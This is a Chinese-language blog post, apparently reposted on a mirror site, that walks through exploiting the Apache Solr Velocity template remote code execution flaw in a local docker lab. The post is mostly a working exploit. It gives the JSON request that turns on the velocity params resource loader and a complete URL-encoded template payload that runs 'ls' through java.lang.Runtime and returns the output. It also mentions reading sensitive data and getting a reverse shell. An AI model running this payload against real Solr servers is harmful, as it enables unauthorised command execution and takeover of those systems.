zoukankan      html  css  js  c++  java
  • Apache Solr Velocity模板远程代码执行

    更多内容,欢迎关注微信公众号:信Yang安全,期待与您相遇。

    这里用的docker环境 很简单的 在这里不再介绍

    本地搭建好环境然后访问8983端口 网页如下:

    查下节点名称

    同样名字可以访问http://192.168.35.185:8983/solr/admin/cores获取到名字

    看下config的 红圈的这里两个点必须为true

    通过发包来构造出来

    {
      "update-queryresponsewriter": {
        "startup": "lazy",
        "name": "velocity",
        "class": "solr.VelocityResponseWriter",
        "template.base.dir": "",
        "solr.resource.loader.enabled": "true",
        "params.resource.loader.enabled": "true"
      }
    }

    随后开始命令执行

    http://192.168.35.185:8983/solr/test/select?wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ls%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

     读取敏感信息

    反弹shell拿管控权限

     

     更多内容,欢迎关注微信公众号:信Yang安全,期待与您相遇。

  • 相关阅读:
    《一个人的村庄》 ——刘亮程
    uva 11020
    Codeforces Round #190 (Div. 2) B. Ciel and Flowers
    hdu3308 线段树——区间合并
    线段树,区间更新
    vim 被墙
    ubuntu12.04 修复Grub2
    windows下mysql数据库忘记密码
    高性能的异步爬虫
    中间件
  • 原文地址:https://www.cnblogs.com/Yang34/p/11790967.html
Copyright © 2011-2022 走看看